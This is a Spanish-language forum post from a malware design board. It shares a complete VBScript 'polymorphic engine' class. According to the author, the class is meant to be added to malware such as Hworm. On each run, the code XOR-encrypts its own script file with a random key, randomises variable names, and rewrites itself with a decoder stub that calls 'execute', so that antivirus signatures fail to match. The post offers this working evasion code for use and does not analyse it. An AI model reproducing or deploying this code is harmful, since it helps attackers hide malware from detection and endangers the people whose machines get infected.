elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  [Motor Polimorfico] Prototipo funcional en VBScript.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Motor Polimorfico] Prototipo funcional en VBScript.  (Leído 1,039 veces)
Bad4m_cod3

Desconectado Desconectado

Mensajes: 42


"a28ed83f69647d8f2a1046b9fa0e7c2c" H.P.Lovecraft


Ver Perfil
[Motor Polimorfico] Prototipo funcional en VBScript.
« en: 24 Octubre 2024, 19:41 pm »

Saludos comunidad

A continuacion les presento un fragmento de codigo que puede ser usado en distrubuciones de malware como Hworm o cualquier aplicacion tipo VBS para añadir una capa de seguridad. Es un modulo que se ejecuta en dos lineas y tiene una sola funcion a llamar. Se debe declarar una variable de objeto para su uso. Al ejecutar el modulo el Script abre su propio archivo y lo trata como un texto plano con una password aleatorio en usando la compuerta XOR. Una vez alli toma el ciphertext escribiendolo en una variable string, y se añade una funcion con dos argumentos, el ciphertext y la Key cuya funcion es devolver el texto plano, dicho texto plano es el codigo string protegido y lo ejecuta usando la funcion "execute" que permite este proceso. Aqui comparto el modulo.

Código
  1. Class Polimorfic_VBScripts_Motors
  2. 'Set obj1 = New Polimorfic_VBScripts_Motors
  3. 'obj1.Polimorfic_VBS_XORSPLIT
  4.  Dim lenalfavar, lenalfaspl
  5.  Dim alfabet_var, alfabet_split
  6.  Dim FileSystemObject
  7.  Dim LABEL_TYPE_ENCRYPTER_XORSPLIT
  8.  Dim LABEL_TYPE_ENCRYPTER_sutwo
  9. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  10.  Private Sub Class_Initialize()
  11.  '
  12.  ' Genera el objecto del sistema de manejo de ficheros,
  13.  '
  14.    alfabet_var = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
  15.    alfabet_split = "/\?#$@|°¬"
  16.    lenalfavar = len(alfabet_var)-1
  17.    lenalfaspl = len(alfabet_split)-1
  18.    set FileSystemObject = createobject("scripting.filesystemobject")
  19.  
  20.    LABEL_TYPE_ENCRYPTER_XORSPLIT = "'=-=-=-=-=-=-||_!Kr4k3n_i5_1if3i!_||-=-=-=-=-=-=-=-="
  21.    LABEL_TYPE_ENCRYPTER_sutwo = "'=-=-=-=-=-=-||_!Bad4m_cod3!_||-=-=-=-=-=-=-=-="
  22.  end sub
  23. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  24.  Public sub Polimorfic_VBS_XORSPLIT() 'Genera el proceso de Polimorfismo, cifrando y descifrandose a si mismo
  25.      EncrypterVBS_code = FileSystemObject.opentextfile(wscript.scriptfullname,1).readall
  26.      if instr(split(EncrypterVBS_code,vbcrlf)(0),"execute") <> 0 then
  27.        Code_VBS = Decode_VBS_XORSPLIT(EncrypterVBS_code)
  28.          if split(Code_VBS,vbcrlf)(0) = LABEL_TYPE_ENCRYPTER_XORSPLIT then
  29.            FileSystemObject.createtextfile(wscript.scriptname).write Encode_VBS_XORSPLIT(Code_VBS)
  30.          end if
  31.      else
  32.          EncrypterVBS_code = LABEL_TYPE_ENCRYPTER_XORSPLIT & vbcrlf & EncrypterVBS_code
  33.          FileSystemObject.createtextfile(wscript.scriptname).write Encode_VBS_XORSPLIT(EncrypterVBS_code)
  34.      end if
  35.  end sub
  36. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  37.  Public Function Decode_VBS_XORSPLIT(code)
  38.    dim String_One_Line_Code_VBS, var_temp_split
  39.  
  40.    String_One_Line_Code_VBS = split(split(code,vbcrlf)(0),"(")'Extrae la primera linea del codigo
  41.    String_One_Line_Code_VBS(2) = KickString(String_One_Line_Code_VBS(2),String_One_Line_Code_VBS(1))
  42.    String_One_Line_Code_VBS(2) = KickString(String_One_Line_Code_VBS(2),"),")
  43.  
  44.    'En String_One_Line_Code_VBS(2) esta el codigo cifrado, en String_One_Line_Code_VBS(3) esta el password
  45.  
  46.    var_temp_split = split(String_One_Line_Code_VBS(2),",")
  47.    spliit = KickString(var_temp_split(1),chr(34))
  48.    cifrado = KickString(var_temp_split(0),chr(34))
  49.    password = KickString(split(String_One_Line_Code_VBS(3),",")(0),chr(34))
  50.  
  51.  'Extrae las cadenas y elimina comillas
  52.  
  53.    Decode_VBS_XORSPLIT = encode_xor(Str_split_decode(cifrado,spliit),Str_split_decode(password,spliit))' Descifra el VBScript
  54.  end function
  55. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  56.  Public Function Encode_VBS_XORSPLIT(VBScode)
  57.    randomize
  58.      modcode = "execute %0(%7(%1,%12),%7(%2,%12))" & vbcrlf
  59.      modcode = modcode & "Function %0(%3,%4)" & vbcrlf
  60.      modcode = modcode & "For %5 = 1 to len(%3)" & vbcrlf
  61.      modcode = modcode & "%6 = %6 + 1" & vbcrlf
  62.      modcode = modcode & "%0 = %0 & chr((asc(mid(%3,%5,1)))xor(asc(mid(%4,%6,1))))" & vbcrlf
  63.      modcode = modcode & "if %6 = len(%4) then %6 = 0" & vbcrlf
  64.      modcode = modcode & "next" & vbcrlf
  65.      modcode = modcode & "end function" & vbcrlf
  66.      modcode = modcode & "function %7(%8,%9)" & vbcrlf
  67.      modcode = modcode & "%10 = split(%8,%9)" & vbcrlf
  68.      modcode = modcode & "for %11 = LBound(%10) to Ubound(%10)" & vbcrlf
  69.      modcode = modcode & "%7 = %7 & chr(%10(%11))" & vbcrlf
  70.      modcode = modcode & "next" & vbcrlf
  71.      modcode = modcode & "end function"
  72.  
  73.    var_split = Ramdon_var_spliter()
  74.    password = random_String(16)
  75.    cifrado = encode_xor(VBScode,password)
  76.  
  77.        for inx = 3 to 11 'Genera variable aleatorias en el codigo
  78.          modcode = replace(modcode,"%" & inx,ramdon_vars(10))
  79.        next
  80.  
  81.      modcode = replace(modcode,"%0",ramdon_vars(10))
  82.      modcode = replace(modcode,"%12",AddComillas(var_Split))
  83.      modcode = replace(modcode,"%1",AddComillas(Str_split_encode(cifrado,var_split)))
  84.      modcode = replace(modcode,"%2",AddComillas(Str_split_encode(password,var_Split)))
  85.    Encode_VBS_XORSPLIT = modcode
  86.  end function
  87. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  88.  Private Function Ramdon_var_spliter()'extrae el caracter random
  89.    randomize
  90.    Random_number = rnd*lenalfaspl
  91.    if Random_number < 1 then Random_number = 1
  92.    Ramdon_var_spliter = mid(alfabet_split,Random_number,1)
  93.  end function
  94. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  95.  Private Function ramdon_vars(lenvar) 'Genera un String con caracteres aleatorios del String alfabet_var de tamaño lenvar
  96.    randomize
  97.      For inx = 1 to lenvar
  98.        Random_number = Fix(rnd * lenalfavar)
  99.        if Random_number < 1 then Random_number = 1
  100.        ramdon_vars = ramdon_vars & mid(alfabet_var,Random_number,1)
  101.      next
  102.  end function
  103. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  104.  Private Function random_String(lenvar) 'Devuelve un String aleatoria de caracteres ASCII de tamaña lenvar
  105.    randomize
  106.      For inx = 1 to lenvar
  107.        random_String = random_String & chr(Fix(rnd*255))
  108.      next
  109.  end function
  110. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  111.  Private Function encode_xor(string_cliptext,password_spliter) 'Funcion de cifrado y descifrado con Or-Exclusiva (Xor)
  112.    lenstr=len(string_cliptext):lenpa=len(password_spliter)
  113.      For inx_String_cliptext = 1 to lenstr
  114.        count_password_spliter = count_password_spliter + 1
  115.        chr_cliptxt = Asc(mid(string_cliptext , inx_String_cliptext , 1))
  116.        chr_pwr = Asc(mid(password_spliter,count_password_spliter,1))
  117.        encode_xor = encode_xor & chr(chr_cliptxt Xor chr_pwr)
  118.          if count_password_spliter => lenpa then count_password_spliter = 0
  119.      next
  120.  end function
  121. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  122.  Private function Str_split_decode(String_encode,password_spliter) 'Decodifica el cifrado split
  123.    array_Str_Encode = split(String_encode,password_spliter)
  124.      for inx = LBound(array_Str_Encode) to Ubound(array_Str_Encode)
  125.        Str_split_decode = Str_split_decode & chr(array_Str_Encode(inx))
  126.      next
  127.  end function
  128. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  129.  Private Function Str_split_encode(string_Cliptext,password_spliter) 'Codfifica con cifrado split
  130.    Len_string_Cliptext = len(string_Cliptext)
  131.      for inx = 1 to (Len_string_Cliptext-1)
  132.        Str_split_encode = Str_split_encode & Cstr(Asc(mid(string_Cliptext,inx,1))) & password_spliter
  133.      next
  134.    Str_split_encode = Str_split_encode & Cstr(Asc(mid(string_Cliptext,Len_string_Cliptext,1)))
  135.  end function
  136. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  137.  Private Function KickString(str1,str2):KickString = replace(str1,str2,""):End function
  138.  Private Function AddComillas(strr):AddComillas=chr(34)&strr&chr(34):end function
  139. End Class

Me disculpo por la calidad de redaccion del presente articulo.
Saludos y leo sus comentarios
« Última modificación: 24 Octubre 2024, 19:45 pm por Bad4m_cod3 » En línea

809219e8548c7feaa7cf844281a1d8e4a85f37bd34cc3839cf6498aaaa23dc8c
(Bad4m_cod3 estuvo aqui.)
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines